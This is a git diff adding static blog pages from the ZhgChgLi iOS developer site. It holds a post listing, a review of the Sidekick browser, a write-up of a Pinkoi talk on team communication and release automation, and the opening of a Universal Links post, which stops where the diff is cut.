iOS UIViewController Transition Techniques

iOS UIViewController Transition Techniques Complete guide to pull-down to close, pull-up to appear, and full-page right swipe back effects in UIViewController Introduction I’ve always been cur...

Preview Image

iOS Deferred Deep Link Implementation (Swift)

iOS Deferred Deep Link Implementation (Swift) Build an app transition flow that adapts to all scenarios without interruption [2022/07/22] Update on iOS 16 Upcoming Changes Starting from iOS ≥ 16...

Preview Image

Using 'Shortcuts' Automation with Mi Home Smart Home on iOS ≥ 13.1

Using ‘Shortcuts’ Automation with Mi Home Smart Home on iOS ≥ 13.1 Automate operations directly using the built-in Shortcuts app on iOS ≥ 13.1 Introduction In early July this year, I bought two ...

Preview Image

New Xiaomi Smart Home Purchases

New Xiaomi Smart Home Purchases AI Speaker, Temperature and Humidity Sensor, Scale 2, DC Inverter Fan Usage Experience Getting Started Following the previous post “Smart Home First Experience — ...

Preview Image

What was the experience of iPlayground 2019 like?

What was the experience of iPlayground 2019 like? Hot participation experience of iPlayground 2019 About the event Last year it was held in mid-October, and I also started running Medium to reco...

Preview Image

The APP uses HTTPS for transmission, but the data was still stolen.

The APP uses HTTPS for transmission, but the data was still stolen. Using mitmproxy on iOS+MacOS to perform a Man-in-the-middle attack to sniff API transmission data and how to prevent it? Introd...

Preview Image

How to Create an Engaging Engineering CTF Competition

How to Create an Engaging Engineering CTF Competition Building and brainstorming for Capture The Flag competitions About CTF Capture The Flag, abbreviated as CTF, is a game originating from the ...

Preview Image

Apple Watch Case Unboxing Experience (Catalyst & Muvit)

Apple Watch Case Unboxing Experience (Catalyst &amp; Muvit) Catalyst Apple Watch Ultra-Thin Waterproof Case &amp; Muvit Apple Watch Case [Latest Update] Apple Watch Series 6 Unboxing &amp; Two...

Preview Image

First Experience with Smart Home - Apple HomeKit & Xiaomi Mijia

First Experience with Smart Home - Apple HomeKit &amp; Xiaomi Mijia Mijia Smart Camera and Mijia Smart Desk Lamp, Homekit Setup Tutorial [2020/04/20] Advanced Tutorial Released : Experienced use...

diff --git a/page9/index.html b/page9/index.html new file mode 100644 index 0000000000..9b3f3ec533 --- /dev/null +++ b/page9/index.html @@ -0,0 +1 @@ + ZhgChgLi
Home
ZhgChgLi
Cancel
Preview Image

AirPods 2 Unboxing and Hands-On Experience

AirPods 2 Unboxing and Hands-On Experience (Laser Engraved Version) More ingenious, incredibly amazing. [Latest] Apple Watch Series 6 Unboxing &amp; Two-Year Experience &gt;&gt;&gt;Click Here Whe...

Preview Image

Perfect Implementation of One-Time Offers or Trials in iOS (Swift)

Perfect Implementation of One-Time Offers or Trials in iOS (Swift) iOS DeviceCheck follows you everywhere While writing the previous Call Directory Extension, I accidentally discovered this obscu...

Preview Image

Identify Your Own Calls (Swift)

Identify Your Own Calls (Swift) iOS DIY Whoscall Call Identification and Phone Number Tagging Features Origin I have always been a loyal user of Whoscall. I used it when I originally had an Andr...

Preview Image

iOS tintAdjustmentMode Property

iOS tintAdjustmentMode Property Issue with .tintColor setting failing when presenting UIAlertController on this page’s Image Assets (Render as template) Comparison Before and After Fix No length...

Preview Image

Let's Build an Apple Watch App!

Let’s Build an Apple Watch App! (Swift) Step-by-step development of an Apple Watch App from scratch with watchOS 5 [Latest] Apple Watch Series 6 Unboxing &amp; Two-Year Experience &gt;&gt;&gt;Cli...

Preview Image

Apple Watch Series 4: Comprehensive Review from Unboxing to Mastery

Apple Watch Series 4 Unboxing: Comprehensive Review from Unboxing to Mastery (Updated 2020–10–24) Why buy it? Is it useful? What’s good about it? How to use it? &amp; WatchOS APP recommendations ...

Preview Image

Add 'App Notification Settings Page' Shortcut in User's 'Settings' on iOS ≥ 12 (Swift)

Add ‘App Notification Settings Page’ Shortcut in User’s ‘Settings’ on iOS ≥ 12 (Swift) Besides turning off notifications from the system, give users other options Following the previous three art...

Preview Image

Always Keep the Enthusiasm for Exploring New Things

Always Keep the Enthusiasm for Exploring New Things The life opportunity from stepping into the information field to switching to iOS APP development Bangkok 2018 - Z Realm — You are not alone ...

Preview Image

Handling Push Notification Permission Status from iOS 9 to iOS 12 (Swift)

Handling Push Notification Permission Status from iOS 9 to iOS 12 (Swift) Solution for handling notification permission status and requesting permissions from iOS 9 to iOS 12 What to do? Followi...

Preview Image

What? iOS 12 Can Receive Push Notifications Without User Authorization (Swift)

What? iOS 12 Can Send Push Notifications Without User Authorization (Swift) — (Updated 2019-02-06) Introduction to UserNotifications Provisional Authorization and iOS 12 Silent Notifications MurM...

diff --git a/posts/118e924a1477/index.html b/posts/118e924a1477/index.html new file mode 100644 index 0000000000..8472413643 --- /dev/null +++ b/posts/118e924a1477/index.html @@ -0,0 +1 @@ + Productivity Tools: Abandon Chrome and Embrace Sidekick Browser | ZhgChgLi
Home Productivity Tools: Abandon Chrome and Embrace Sidekick Browser
Post
Cancel

Productivity Tools: Abandon Chrome and Embrace Sidekick Browser

[Productivity Tools] Abandon Chrome and Embrace Sidekick Browser

Introduction and Experience with Sidekick Browser

2024 Update

Around early 2023, I switched to using Arc Browser! The user experience and features are better, with fewer bugs, and it also supports cross-device synchronization.

Here’s a link to download Arc, the browser I was telling you about!

https://arc.net/gift/f86ef8b3

Preface

I learned about Sidekick Browser from a colleague. To be honest, I didn’t have high expectations at first. Over the years, I have considered abandoning Chrome and tried Safari, Safari beta, Firefox, Opera, and third-party browsers based on open-source cores. However, these attempts failed repeatedly, and I ended up switching back to Chrome within a few days. Another reason is that I haven’t actively followed the browser market, so there may have been browsers that met my needs, but I was unaware of them.

Reasons for Failure

The main reason is that my frequently used extensions are not fully supported. I was too reliant and accustomed to Chrome’s extensions. Even though browsers based on the Chromium core could support them seamlessly, they lacked standout features and the experience was similar to using Google Chrome.

My Requirements

  • Chromium core to support my frequently used extensions
  • More distinctive features to enhance productivity
  • Support for MacOS; I use Safari on iOS, so cross-device support is not required
  • Excellent memory management
  • Enhanced privacy and anti-tracking features
  • Seamless migration capability

Regarding productivity features, Chrome’s extension library offers millions of tools that can be used. By searching and combining them, one can achieve the desired results. However, without conducting research, I am not sure which processes and features are truly beneficial for productivity.

About Sidekick

  • Development Team: Sidekick startup founded in November 2020 @ San Francisco / Fundraising in progress
  • Browser Core: Chromium
  • Current Stage: Early Access
  • Core Value: A browser designed to optimize workflow and enhance productivity
  • Supported Platforms: Windows, Mac OS, Mac OS (M1), Linux (deb), Linux (rpm)
  • Extensions: Supports all Chrome Store extensions (bitwarden, lastpass, 1password, grammarly, google translate…)
  • Official Website: www.meetsidekick.com

Download and Use Now

  • Visit the official website here
  • Click on “Download Now”
  • Choose the version that matches your operating system
  • Download & complete the installation
  • Open Sidekick

The content has been translated into English as requested.

Application can be quickly added from the homepage or added from the Tab by entering the URL or ICON image manually.

Sidekick has built-in hundreds of productivity tool websites that can be quickly added to the Application.

If the Application added from the homepage does not appear on the left Sidebar, you can drag it over yourself.

Right-click on the Application to quickly view recent visits, and also support switching between multiple accounts.

There are not many websites supported for multiple account switching. If not supported, you can use Private Mode first; currently tested to support Slack and Notion.

  • The left Application and the top Tab do not affect each other. The Application block is independent and will not appear on the top Tab.

Each App can be individually configured, such as turning off notifications, turning off Badges, and so on.

Window Splitting Feature

Although MacOS comes with a window splitting feature, I actually use it very rarely; unless I want to fully focus, most of the time I need to synchronize browsing content + use other MacOS Apps, then the browser’s window splitting feature is very useful!

For example, you can attend online classes and take notes at the same time.

You can freely drag and adjust the size of the middle separator.

To use, just click on the window split button in the upper right corner of the browser, choose the window to add to the left, and click again to close the split.

Spotlight Feature

Similar to MacOS’s Spotlight, you can press “Option” + “f” for full browser search in any window.

  • You can use “Option” + “z” or “Control” + “tab” for quick Tab switching.
  • “Option” + “1-9” for quick switching between positions 1~9 of Tabs.

Tab Saver (Save Sessions) Feature

Similar to the popular Tab Saver extension on Chrome, it can quickly save the currently open Tab web pages and switch between them, making it easy for us to manage different work states.

Click on the “F” (First Session) in the lower left corner to enter the Session management page.

Click on “Add new session” at the top to save the current Tab state, open a completely new browsing environment.

You can switch between Sessions, click “Activate” to restore the Tab.

Sessions will not affect the Applications enabled on the left.

  • You can use the shortcut “Option” + “W” for quick Session switching.
  • “Option” + “⬆️” + “W” for Session management.

Excellent Application Notification Feature

Starting now, as long as there is a Web version of communication service available, you can directly use the Sidekick Application without the need to install a computer application; as mentioned earlier, the Application’s notification function is as instant and complete as a computer application.

  • Remember to authorize Sidekick to send computer notifications; this way, web notifications will pop up on the computer.

Note Feature

Integrated with Google Keep cloud note-taking feature, click on the document icon in the lower left corner to quickly open Google Keep for note-taking.

Google Keep is stored in the cloud Google account, supporting cross-platform and cross-device note synchronization.

You can use this feature to quickly record items.

Not sure if it will be changed to their own Sidekick Sync in the future, after all, this will provide optimization and integration space.

  • You can use the shortcut key “Option” + “N” to quickly switch sessions.

Built-in anti-tracking, anti-advertising, and memory management features

With the wave of privacy concerns, major companies are starting to focus on user privacy. Apple, as the primary leader, has begun to integrate privacy protection features in the new version of Safari. However, as the biggest beneficiary of privacy information, Google Ads, it may be difficult to see changes on Google Chrome.

Chromium != Chrome, Chromium is an open-source project at the core of browser technology.

Although Chromium is also led by Google, its open-source nature allows any developer to optimize based on this core. Sidekick also utilizes this method to optimize on the Chromium base, retaining Chrome’s features while enhancing functionalities lacking in Chrome.

Details

More features waiting for you to explore and experience!

Cost

“It is a sin for a company not to make money. (If you don’t make money, it is a sin against society because we take society’s funds, attract society’s talents, and without sufficient surplus, we are wasting valuable resources that could be more effectively utilized elsewhere.)” - Panasonic founder, Konosuke Matsushita (text reference from the Business Thought Institute)

A good product needs good cash flow to provide better services and to last longer. Below are the pricing details for Sidekick:

For personal use, the free plan is more than sufficient, but if you are able, consider supporting the development team!

  • Currently, users who have joined are part of the Early Access plan, seemingly unaffected by the Free plan (I have more than 5 Sidebar apps and it’s fine).
  • Currently, inviting 10 users gives 6 months of Pro access / inviting 20 users gives lifetime Pro access; so if you like this article, you can download and install through the link in the article, support me and support Sidekick!

Summary of User Experience

After using it for a while, due to the painless transition, I have completely abandoned Chrome. There is nothing that I must go back to Chrome for, and the best part is the Applications on the left, where I can add frequently used websites for quick access and notifications.

In the past, I would get lost in a clutter of tabs, or could only use the Pin Tab feature to keep important work services pinned at the front. However, switching was still painful and required searching.

Now, when I need to do a Code Review, I click on Github; when I need to submit an App, I click on App Store Connect; when I need to view a project, I click on Asana. Working is very efficient.

Regarding memory management, I haven’t done any specific research or testing, so I’m not sure about the optimization effect, but having it is better than not having it.

The only worry is that this product is still too new, and it’s uncertain how far it can go. If mismanagement occurs, development and maintenance may stop, which would be a great loss! So please promote and support it vigorously!

Further Reading

For any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Leading Snowflakes Reading Notes

Using Google Apps Script to Forward Gmail Emails to Slack

diff --git a/posts/11f6c8568154/index.html b/posts/11f6c8568154/index.html new file mode 100644 index 0000000000..994c1dbf51 --- /dev/null +++ b/posts/11f6c8568154/index.html @@ -0,0 +1 @@ + 2021 Pinkoi Tech Career Talk - Decoding the High-Efficiency Engineering Team | ZhgChgLi
Home 2021 Pinkoi Tech Career Talk - Decoding the High-Efficiency Engineering Team
Post
Cancel

2021 Pinkoi Tech Career Talk - Decoding the High-Efficiency Engineering Team

2021 Pinkoi Tech Career Talk - Decoding the High-Efficiency Engineering Team

Decoding the high-efficiency engineering team at Pinkoi Tech Talk

Decoding the High-Efficiency Engineering Team

2021/09/08 19:00 @ Pinkoi x Yourator

My Medium: ZhgChgLi

About the Team

Pinkoi’s work is composed of multiple Squads:

  • Buyer-Squad: Focuses on buyer-side features
  • Seller-Squad: Focuses on designer-side features
  • Exploring-Squad: Focuses on browsing and exploration
  • Ad-Squad: Focuses on platform advertising
  • Out-Of-Squad: Primarily supports, infra, or process optimization

Each Squad is composed of various function teammates, including PM, Product Designer, Data, Frontend, Backend, iOS, Android, etc.; long-term and ongoing work goals are accomplished by the Squad.

In addition to Squads, there are also cross-team Projects that run, mostly short to medium-term work goals, where the initiator or any team member can act as the Project Owner, and the task is closed upon completion.

At the end, there is also how Pinkoi’s culture supports teammates in solving problems, if friends who are not interested in the actual content can directly scroll to the bottom of the page to view this section.

Relationship Between Team Size and Efficiency

The relationship between team size growth and work efficiency, from startups with 10 people to teams of hundreds (not yet challenged by thousands), but just jumping from 10 to 100, the 10x difference is significant in many aspects.

With fewer people, communication and handling things are quick; discussing and resolving issues in person can be done swiftly, as the “human connection” is strong, enabling synchronous collaboration.

However, in situations with more people, direct communication becomes challenging because with more collaborators, each discussion can take up a whole morning; and with many people collaborating, tasks need to be prioritized, and non-urgent matters cannot be addressed immediately, requiring asynchronous waiting to work on other tasks.

Having more diverse roles join can lead to more specialized work division, increased productivity or quality, and faster output.

But as mentioned earlier, conversely; there will be more collaboration with people, which means more time spent on communication.

Moreover, small issues can be magnified, for example, if one person used to spend 10 minutes daily on a task like posting reports, it was manageable; but now, assuming there are 20 people, it multiplies, and each day, more than 3 hours are spent on posting reports; optimizing and automating this task becomes valuable at this point, saving 3 hours daily, which amounts to wasting an extra 750 hours over a year.

As the team size grows, for the App Team, there are these roles that collaborate more closely.

Backend — API, Product Designer — UI, these do not need to be mentioned, Pinkoi is an international product, so all functional texts need to be translated by the Localization Team. Also, because we have a Data Team doing data collection and analysis, besides developing features, we also need to discuss event tracking points with the Data Team.

Customer Service is also a team that frequently interacts with us. Besides users sometimes directly providing feedback on order issues through the marketplace, more often users leave a one-star rating saying they encountered a problem. At this time, we also need the customer service team to help with in-depth inquiries, such as what problem did you encounter? How can we help you?

With so many collaborative relationships mentioned above, it means there are many communication opportunities.

However, remember, we are not avoiding or minimizing communication as much as possible; excellent engineers also need good communication skills.

What we need to focus on is important communication, such as brainstorming, discussing requirements, content, and schedules; do not waste time on confirming repetitive issues or vague communication. Avoid situations where you ask me, I ask him, and so on.

Especially in the era of the pandemic, communication time is precious and should be spent on more valuable discussions.

“I thought you thought what I thought” — this sentence perfectly illustrates the consequences of unclear communication.

Not just in work, in daily life, we often encounter misunderstandings due to different perceptions, and in life, harmony relies on mutual understanding; but in work, it’s different. If different perceptions are not discussed in depth, it’s easy to find out during the production stage that things are not as expected.

Interface Communication

The idea introduced here is to communicate through a consensus interface, similar to the Dependency Inversion Principle in object-oriented programming in SOLID principles (if you don’t understand, it’s okay); the same concept can be applied to communication.

The first step is to identify areas of communication that are unclear, need to be confirmed repeatedly, or require specific communication to be more focused and effective, or even situations where this delivery does not require additional communication.

Once the issues are identified, you can define an “interface.” An interface is a medium, which can be a document, process, checklist, tool, etc.

Use this “interface” as a bridge for communication between each other. There can be multiple interfaces, use the appropriate interface for each scenario; when encountering the same scenario, prioritize using this interface for initial communication. If further communication is needed, it can be based on this interface for focused discussion of the issues.

App Team’s Collaboration with External Parties

Here are 4 examples of interface communication in collaboration with the App Team:

  1. The first one is the situation with Backend collaboration before any interface consensus, as shown in the above image.

For how to use the API, if simply providing the API Response String to the App Team, there can be areas of ambiguity, for example, how do we know if date refers to Register Date or Birthday? Also, the scope is broad, many fields need confirmation.

This communication is also repetitive, requiring confirmation each time there is a new endpoint.

This is a classic case of ineffective communication.

  1. App and Backend lack a communication interface between them. There are many solutions, and it doesn’t necessarily have to be a tool; it can be a manually maintained document.

Pinkoi uses Python (FastAPI) to automatically generate documentation from the API code, PHP can use Swagger (previous company practice); the advantage is that the framework and data format of the document can be automatically generated from the code, reducing maintenance costs, only needing to handle field descriptions.

p.s. Currently, new Python 3 will use FastAPI, and the old parts will be gradually updated. For now, PostMan is used as the communication interface.

The second one is collaborating with the Product Designer, which is similar to the Backend in principle, but the focus shifts to confirming UI Spec and Flow.

If the color codes and fonts are scattered, our App will also suffer. Setting aside the fact that requirements are like this, we don’t want situations where the same title has the same color but the color code is off or the UI at the same position is not consistent.

The most basic solution is to have the designer organize the UI components library, establish a Design System (Guideline), and mark them when designing UI.

Based on the Design System (Guideline) in the Code Base, we create corresponding Font, Color, and Button, View based on the component library.

When templating, use these established components for templating, making it easy for us to quickly align with the UI design draft.

But this is easily messed up and needs dynamic adjustments; it cannot cover too many exceptions, nor can it be rigid and not expand.

p.s. Collaboration with Product Designers at Pinkoi is mutual, where Developers can also suggest better practices and discuss with Product Designers.

The third one is the interface with Customer Service. Product reviews are crucial for products in the marketplace, but it involves a very manual and repetitive communication process.

Because we need to manually check for new reviews from time to time, and if there are customer service issues, we need to forward the issues to customer service for assistance, which is repetitive and manual.

The best solution is to automatically synchronize marketplace reviews to our work platform. You can spend $ to buy existing services or use my developed ZhgChgLi / ZReviewTender (2022 New).

For deployment methods, tutorials, and technical details, refer to: ZReviewTender - Free and Open-source App Reviews Monitoring Bot

This bot is our communication interface. It will automatically forward reviews to a Slack Channel, allowing everyone to quickly receive the latest review information, track, and communicate on it.

The last example is the dependency on the Localization Team’s work; whether it’s a new feature or modifying old translations, we need to wait for the Localization Team to complete the work and hand it over to us for further assistance.

The cost of developing our own tools is too high, so we directly use third-party services to help us break the dependency.

All translations and keys are managed by third-party tools. We just need to define the keys in advance, and both sides can work separately. As long as the work is completed before the deadline, there is no need for mutual reliance. After the Localization Team completes the translation, the tool will automatically trigger a git pull to update the latest text files in the project.

p.s. Pinkoi has had this process since very early on, using Onesky at that time, but in recent years, there are more excellent tools available, which you can consider adopting.

Collaboration within the App Team

We talked about external factors, now let’s talk about internal factors.

When there are fewer people or when one developer maintains a project, you can do whatever you want. You have a high level of mastery and understanding of the project, which is fine. Of course, if you have a good sense, even if it’s a one-person project, you can handle all the things mentioned here.

But as the number of collaborating teammates increases, everyone is working under the same project. If everyone still works separately, it will be a disaster.

For example, doing API calls differently here and there, often reinventing the wheel wasting time, or not caring at all and just putting something online haphazardly, all will incur significant costs for future maintenance and scalability.

Within the team, rather than calling it an interface, I think it’s too formal; it should be about consensus, resonance, and a sense of teamwork.

The most basic and common topic is Coding Style, naming conventions, where to place things, how to use Delegates… You can use commonly used tools like realm / SwiftLint for constraints, and for multilingual sentences, you can use freshOS / Localize for organization (of course, if you are already using a third-party tool for management as mentioned earlier, you may not need this).

The second is the App architecture, whether it’s MVC/MVVM/VIPER/Clean Architecture, the key point is cleanliness and consistency; no need to pursue being trendy, just be consistent.

The Pinkoi App Team uses Clean Architecture.

Previously at StreetVoice, it was purely MVC but clean and consistent, making collaboration smooth.

Next is UnitTest, with many people, it’s hard to avoid the logic you’re working on from accidentally being broken; writing more tests provides an extra layer of protection.

Lastly, there’s the aspect of documentation, about the team’s work processes, specifications, or operation manuals, making it easy for teammates to quickly refer to when they forget, and for new members to quickly get up to speed.

Besides the Code Level interface, there are other interfaces in collaboration to help us improve efficiency.

The first is having a Request for Comments stage before implementing requirements, where the developer in charge roughly explains how this requirement will be implemented, and others can provide comments and ideas.

In addition to preventing reinventing the wheel, it can also gather more ideas, such as how others might expand in the future, or what requirements to consider later on… etc., as onlookers see more clearly than those involved.

The second is to conduct thorough Code Reviews, checking if our interface consensus is being implemented, such as: Naming conventions, UI layout methods, Delegate usage, Protocol/Class declarations… etc. Also, checking if the architecture is being misused or rushed due to time constraints, assuming the development direction should move towards full Swift development, and whether there are still Objective-C code being used… etc.

The main focus is on reviewing these aspects, with functionality correctness being secondary assistance.

p.s. The purpose of RFC is to improve work efficiency, so it shouldn’t be too lengthy or seriously delay work progress; it can be thought of as a simple pre-work discussion phase.

Consolidating the team’s internal interface consensus functions, finally mentioning the Crash Theory mindset, which I think is a good behavioral benchmark.

Applying it to the team means assuming that if everyone suddenly disappeared today, can the existing code, processes, and systems allow new people to quickly get up to speed?

Recap the meaning of interfaces, internal team interfaces are used to increase mutual consensus, external collaboration is to reduce ineffective communication, using interfaces as a means of communication without interruption, focusing on discussing requirements.

Reiterating that “interface communication” is not a special term or tool in engineering, it’s just a concept applicable to collaboration in any job scenario, it can simply be a document or process, with the sequence being to have this thing first and then communicate.

Assuming each additional communication time takes 10 minutes, with a team of 60 people, occurring 10 times per month, it wastes 1,200 hours per year on unnecessary communication.

Improving Efficiency - Automating Repetitive Work

The second chapter wants to share with everyone about the effects of automating repetitive work on improving work efficiency, using iOS as an example, but the same applies to Android.

It won’t mention technical implementation details, only discussing the feasibility in principle.

Organizing the services we use, including but not limited to:

  • Slack: Communication software
  • Fastlane: iOS automation script tool
  • Github: Git Provider
  • Github Action: Github’s CI/CD service, will be introduced later
  • Firebase: Crashlytics, Event, App Distribution (to be introduced later), Remote Config…
  • Google Apps Script: Google Apps plugin script program, to be introduced later
  • Bitrise: CI/CD Server
  • Onesky: As mentioned earlier, a third-party tool for Localization
  • Testflight: iOS App internal testing platform
  • Google Calendar: Google Calendar, to be introduced for what purpose
  • Asana: Project management tool

Issues with Releasing Beta Versions

The first issue to address is the problem of repetitiveness. During the development phase, when we want to allow other team members to test the app in advance, the traditional approach is to directly build it on their phones. If there are only 1-2 people, it’s not a big problem. However, if there are 20-30 team members to test, just helping with installing the beta version would take up a whole day of work. Additionally, if there are updates, everything has to start over.

Another method is to use TestFlight as a medium for distributing beta versions, which is also good. However, there are two issues. First, TestFlight is equivalent to the production environment, not the debug environment. Second, when there are many teammates working on different requirements simultaneously and needing to test different requirements, TestFlight can become chaotic, and the builds for distribution may change frequently, but it’s still manageable.

Pinkoi’s solution is to separate the task of “installing beta versions by the App Team” and use Slack Workflow as an input UI to achieve this. After inputting the necessary information, it triggers Bitrise to run Fastlane scripts to package and upload the beta version IPA to Firebase App Distribution.

For more information on using Slack Workflow applications, refer to this article: Building a Fully Automated WFH Employee Health Status Reporting System with Slack

Firebase App Distribution

Firebase App Distribution

Teammates who need to test simply follow the steps provided by Firebase App Distribution to install the necessary certificates, register their devices, and then choose the beta version they want to install or directly install it by clicking the link.

However, please note that iOS Firebase App Distribution is limited to Development Devices, with a maximum registration of 100 devices, based on devices rather than individuals.

Therefore, you may need to consider a balance between this solution and TestFlight (which allows external testing by up to 1,000 people).

At least, the Slack Workflow UI Input mentioned earlier is worth considering.

For advanced features, consider developing a Slack Bot for a more complete and customizable workflow and form usage.

Recap the effectiveness of automating the release of beta versions, the most significant benefit is moving the entire process to the cloud for execution, allowing the App Team to be hands-off and fully self-service.

Issues with Packaging Official Releases

The second common task for the App Team is packaging and submitting the official version of the app for review.

When the team is small and follows a single-line development approach, managing app version updates is not a big issue and can be done freely and regularly.

However, in larger teams with multiple concurrent development and iteration needs, the situation depicted above may arise. Without proper “interface communication” as mentioned earlier, everyone may work independently, leading to the App Team being overwhelmed. The cost of app updates is higher than web updates, the process is more complex, and frequent and disorderly updates can disrupt users.

The final issue is management. Without a fixed process or timeline, it’s challenging to optimize each step.

The solution is to introduce a Release Train into the development process, with the core concept of separating version updates from project development.

We establish a fixed schedule and define what will be done at each stage:

  • New version update every Monday morning
  • Code Freeze on Wednesday (no more merging of feature PRs)
  • QA starts on Thursday
  • Official packaging on Friday

The actual timeline for QA and the release cycle (weekly, bi-weekly, monthly) can be adjusted according to each company’s situation. The key is to determine what needs to be done at specific times.

This is a survey on version release cycles conducted by foreign peers, with most opting for a bi-weekly release.

When it comes to weekly updates and our multiple teams, it will be as shown in the image above.

The Release Train, as the name suggests, is like a train station, and each version is a train.

If you miss it, you have to wait for the next one. Each Squad team and project choose their own time to board.

This is a great communication interface, as long as there is consensus and adherence to the rules, version updates can proceed smoothly.

For more technical details on Release Train, please refer to:

Once the process and schedule are determined, we can optimize what we do at each stage.

For example, packaging the official version manually is time-consuming. The entire process from packaging, uploading, to submission takes about 1 hour. During this time, work status needs to be constantly switched, making it difficult to do other tasks; this process is repeated for each packaging, wasting work efficiency.

Now that we have a fixed schedule, we directly integrate Google Calendar here. We add the tasks to be done at the expected schedule to the calendar. When the time comes, Google Apps Script will call Bitrise to execute the Fastlane script for packaging the official version and submission, completing all the work.

Using Google Calendar integration has another benefit. If there are unexpected situations that require postponement or advancement, you can directly go in and change the date.

To automatically execute Google Apps Script when the Google Calendar event time arrives, currently, you have to set up the service yourself. If you need a quick solution, you can use IFTTT as a bridge between Google Calendar <-> Bitrise/Google Apps Script. For the method, you can refer to this article.

p.s.

  1. Currently, the Pinkoi iOS Team adopts the Gitflow workflow.
  2. In principle, this consensus is to be followed by all teams, so there should be no requests that break this rule (e.g., special requirement to deploy on Wednesdays). However, for projects involving external collaboration, if there is really no other way, flexibility should be maintained, as this consensus is within the team.
  3. HotFix for critical issues can be updated at any time and is not subject to the Release Train regulations.

Here, more applications of Google App Scripts are mentioned. For details, please refer to: Forwarding Gmail emails to Slack using Google Apps Script.

The last one is using Github Action to enhance collaboration efficiency (PR Review).

Github Action is Github’s CI/CD service, which can be directly linked to Github events, triggered from open issues, open PRs, to merging PRs, and more.

Github Action can be used for any Git project hosted on Github. There are no restrictions for Public Repos, and Private Repos have a free quota of 2,000 minutes per month.

Here are two features:

  • (Left) After completing PR Review, it will automatically add the reviewer’s name Label, allowing us to quickly summarize the status of PR reviews.
  • (Right) It will organize and send messages to the Slack Channel at a fixed time every day, reminding teammates of which PRs are awaiting review (similar to the functionality of Pull Reminders).

Github Action still has many automation projects that can be done, and everyone can unleash their imagination.

Like the issue bot commonly seen in open-source projects:

[fastlane](https://github.com/fastlane){:target="_blank"} [fastlane](https://github.com/fastlane/fastlane){:target="_blank"}

fastlane / fastlane

Or automatically closing PRs that haven’t been merged for too long can also be done using Github Action.

Recapping the effectiveness of automating the packaging of the official version, simply use existing tools for integration; in addition to automation, also incorporate fixed processes to double work efficiency.

Apart from the manual packaging time, there is actually an additional cost in communicating version times, which is now directly reduced to 0; as long as you ensure to get on board within the schedule, you can focus all your time on “discussions” and “development”.

Calculating the effectiveness brought by these two automations, it can save 216 working hours per year.

Automating along with the communication interface mentioned earlier, let’s see how much efficiency can be improved by doing all these tasks together.

Apart from the tasks just done, we also need to evaluate the cost of switching flow. When we continue to work for a period of time, we enter a “flow” state, where our thoughts and productivity peak, providing the most effective output; but if we are interrupted by unnecessary things (e.g., redundant communication, repetitive work), to get back into the flow, it will take some time again, using 30 minutes as an example here.

The cost of switching flow due to unnecessary interruptions should also be included in the calculation, taking 30 minutes each time, occurring 10 times a month, 60 people will waste an additional 3,600 hours per year.

Flow switching cost (3,600) + unnecessary communication due to poor communication interface (1,200) + automation solving repetitive work (216) = a loss of 5,016 hours in a year.

The time saved from the previously wasted work hours can be invested in other more valuable tasks, so the actual productivity should increase by another X 200%.

Especially as the team continues to grow, the impact on work efficiency also magnifies.

Optimize early, enjoy early benefits; late optimization has no discount!!

Recapping the behind-the-scenes of an efficient working team, what have we mainly done.

No Code/Low Code First Prioritize choosing existing tool integrations (as in this example) if there are no existing tools available, then evaluate the cost of investing in automation and the actual income saved.

About Cultural Support

Everyone can be a problem-solving leader at Pinkoi

Everyone can be a problem-solving leader at Pinkoi

For solving problems, making changes; the vast majority require a lot of teamwork to make things better, which greatly needs the support and encouragement of company culture, otherwise, it will be very difficult to push forward alone.

At Pinkoi, everyone can be a problem-solving leader, you don’t have to be a Lead or PM to solve problems, many of the communication interfaces, tools, or automation projects introduced earlier were discovered by teammates, proposed solutions, and completed together.

About how team culture supports driving change, the four stages of problem-solving can all be linked to Pinkoi’s Core Values.

Step One: Grow Beyond Yesterday

  • Strive for improvement. If problems are identified, regardless of size, as the team grows, even small issues can have a magnified impact.
  • Investigate and summarize problems to avoid premature optimization (some issues may only be temporary transitions).

Next is Build Partnerships

  • Actively communicate and gather suggestions from all aspects.
  • Maintain empathy (as some problems may have the best solution from the other party, balancing is essential).

Step Three: Impact Beyond Your Role

  • Utilize your influence.
  • Propose problem-solving plans.
  • Prioritize automation solutions for tasks related to repetitive work.
  • Remember to maintain flexibility and scalability to avoid Over Engineering.

Lastly, Dare to Fail!

  • Courage to practice.
  • Continuously monitor and dynamically adjust solutions.
  • After achieving success, remember to share the results with the team to facilitate cross-departmental resource integration (as the same problem may exist in multiple departments simultaneously).

The above is a sharing of the secrets of Pinkoi’s high-efficiency engineering team. Thank you all.

Join Pinkoi now >>> https://www.pinkoi.com/about/careers

For any questions and feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Using Google Apps Script to Forward Gmail Emails to Slack

Crashlytics + Big Query: Creating a More Immediate and Convenient Crash Tracking Tool

diff --git a/posts/12c5026da33d/index.html b/posts/12c5026da33d/index.html new file mode 100644 index 0000000000..e2081d40c0 --- /dev/null +++ b/posts/12c5026da33d/index.html @@ -0,0 +1,175 @@ + What's New with Universal Links | ZhgChgLi
Home What's New with Universal Links
Post
Cancel

What's New with Universal Links

iOS 13, iOS 14 What’s New with Universal Links & Setting Up a Local Testing Environment

Photo by [NASA](https://unsplash.com/@nasa?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by NASA

Preface

For a service that has both a website and an app, the functionality of Universal Links is crucial for user experience, achieving seamless integration between the web and the app. However, it has always been set up simply without much emphasis. Recently, I spent some time researching and documenting some interesting things.

Common Considerations

In services I have worked on, the consideration for implementing Universal Links is that the app does not have complete website functionality. Universal Links recognize the domain name, and as long as the domain name matches, the app will open. To address this issue, you can exclude URLs on the app that do not have corresponding functionality on the website. If the website service URLs are very specific, it may be better to create a new subdomain for Universal Links.

When does apple-app-site-association update?

  • For iOS < 14, the app will query the apple-app-site-association of the Universal Links website during the first installation or update.
  • For iOS ≥ 14, Apple CDN caches and periodically updates the apple-app-site-association of the Universal Links website. The app will fetch it from Apple CDN during the first installation or update. However, there may be a problem here as the apple-app-site-association on Apple CDN may still be outdated.

Regarding the update mechanism of Apple CDN, after checking the documentation, there is no mention of it. In a discussion, the official response was only “regular updates” with details to be released in the documentation… but I have not seen it yet.

I personally think it should be updated at least every 48 hours… so if you make changes to apple-app-site-association, it is recommended to update it online a few days before the app update is released.

apple-app-site-association Apple CDN Confirmation:

1
+2
+
